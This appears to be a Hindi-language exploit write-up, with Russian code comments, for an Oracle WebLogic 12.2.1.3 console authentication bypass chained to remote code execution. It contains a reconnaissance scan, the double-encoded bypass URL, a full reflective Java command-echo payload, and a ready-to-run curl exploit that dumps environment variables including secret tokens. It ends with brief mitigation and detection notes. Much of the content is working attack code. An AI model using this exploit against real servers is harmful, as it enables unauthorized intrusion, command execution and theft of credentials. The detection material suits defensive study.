
Oracle WebLogic Server भेद्यता श्रृंखला के लिए तकनीकी विश्लेषण और स्वच्छ Java Thread Echo PoC।
इस रिपॉजिटरी में Oracle WebLogic Server प्रबंधन कंसोल घटक में प्रमाणीकरण बायपास (Authentication Bypass) और रिमोट कोड निष्पादन (RCE) भेद्यता श्रृंखला को प्रदर्शित करने के लिए तकनीकी रिपोर्ट (Write-up) और अवधारणा प्रमाण (Proof of Concept - PoC) शामिल है।
🛑 चेतावनी और अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और वैध सुरक्षा ऑडिट (Pentest) के लिए तैयार की गई है। स्वामियों की पूर्व लिखित सहमति के बिना सिस्टम के विरुद्ध वर्णित तकनीकों का उपयोग कानूनी रूप से दंडनीय है।
12.2.1.3 संस्करण के Oracle WebLogic Server के साथ पृथक परीक्षण वातावरणnmap, curl, bashहमले की सतह निर्धारित करने के लिए, वेब सेवाओं के मानक पोर्ट और Java अनुप्रयोगों के प्रशासन पोर्ट की लक्षित स्कैनिंग की गई:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
नियंत्रित टर्मिनल आउटपुट:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3 शाखा की उपस्थिति की पुष्टि की। T3 प्रोटोकॉल का सक्षम होना वैकल्पिक वैक्टरों की ओर भी संकेत करता है, लेकिन इस अनुसंधान के लिए कंसोल के HTTP वेब इंटरफ़ेस को चुना गया।पथ संरचना के विश्लेषण से पता चला कि वेब सर्वर दोहरे URL-एन्कोडिंग के दौरान निर्देशिका के ऊपरी स्तर पर जाने वाले अनुक्रमों को गलत तरीके से संसाधित करता है। संसाधन /console/css/ स्टैटिक्स के लिए खुला है। हम संरक्षित पोर्टल तक पहुँचने के लिए अनुरोध तैयार करते हैं:
/console/css/%252e%252e%252fconsole.portalहम सर्वर की उपलब्धता और व्यवहार की जाँच करते हैं (403 Forbidden या लॉगिन पृष्ठ पर 302 Redirect के बजाय 200 OK स्थिति की उम्मीद करते हैं):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
सर्वर प्रतिक्रिया:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
प्रमाणीकरण बायपास को सत्र हैंडलर com.tangosol.coherence.mvel2.sh.ShellSession के कॉल के साथ संयोजित करके, हम मनमाना Java कोड निष्पादित करने की क्षमता प्राप्त करते हैं।
java.lang.Runtime के माध्यम से सामान्य कमांड निष्पादन 'अंधा' (Blind RCE) होता है। Command Echo तकनीक (HTTP प्रतिक्रिया के मुख्य भाग में सीधे टर्मिनल आउटपुट लौटाना) को लागू करने के लिए, एक विशेष रिफ्लेक्टिव Java पेलोड विकसित किया गया था।
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Java संदर्भ भेजने को स्वचालित करने के लिए हम अंतिम curl कमांड तैयार करते हैं। हम पेलोड को handle POST पैरामीटर में भेजते हैं, और आवश्यक कमांड को कस्टम हेडर X-CMD-HEADER: env में भेजते हैं।
यह दृष्टिकोण शोधकर्ता की ओर से स्थानीय Bash कमांड-लाइन इंटरप्रेटर द्वारा डेटा के विरूपण से बचाता है।
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
वास्तविक सत्यापित आउटपुट (पर्यावरण चर डंप):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) त्रुटि शोषण की सफलता की पुष्टि करती है। यह executeThread.interrupt() निर्देश के कारण होती है, जो कमांड env के परिणामों वाला बफ़र क्लाइंट को भेजे जाने के तुरंत बाद TCP सत्र को जबरन तोड़ देता है।7001, /console) को बाहरी परिधि से पूर्ण नेटवर्क पृथक्करण (केवल आंतरिक VPN/माइक्रो-सेगमेंटेशन के माध्यम से पहुँच)।%252e) को विशिष्ट Java क्लास कॉल के साथ संयोजित करने वाले URL अनुरोधों को अवरुद्ध करने के लिए Web Application Firewall नियम कॉन्फ़िगर करना।सुरक्षा निगरानी विशेषज्ञों (SOC/Blue Team) के लिए, इस भेद्यता श्रृंखला का सफल शोषण बुनियादी ढांचे में स्पष्ट निशान छोड़ता है।
WebLogic वेब सर्वर लॉग (आमतौर पर access.log में) में, हमले का मार्कर स्टैटिक निर्देशिकाओं के माध्यम से प्रशासन पोर्टल तक पहुँच के साथ डॉट्स और स्लैश के दोहरे URL-एन्कोडिंग की उपस्थिति है:
.. सबस्ट्रिंग की खोज: %252e%252e%252f या %252e%252e%252F।"POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
यदि सर्वर पर प्रक्रिया ऑडिट कॉन्फ़िगर किया गया है (उदाहरण के लिए, Linux में Auditd या Windows में Sysmon के माध्यम से), तो Remote Code Execution का संकेत Java मूल प्रक्रिया का असामान्य व्यवहार होगा:
/bin/sh, /bin/bash या cmd.exe) के मूल के रूप में Java कार्य प्रक्रिया होती है, जिसके अंतर्गत एप्लिकेशन सर्वर चल रहा है:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER या X-Forwarded-Cmd) का दिखना, जिनका उपयोग हमलावर पेलोड (Command Echo) पहुँचाने के लिए करता है।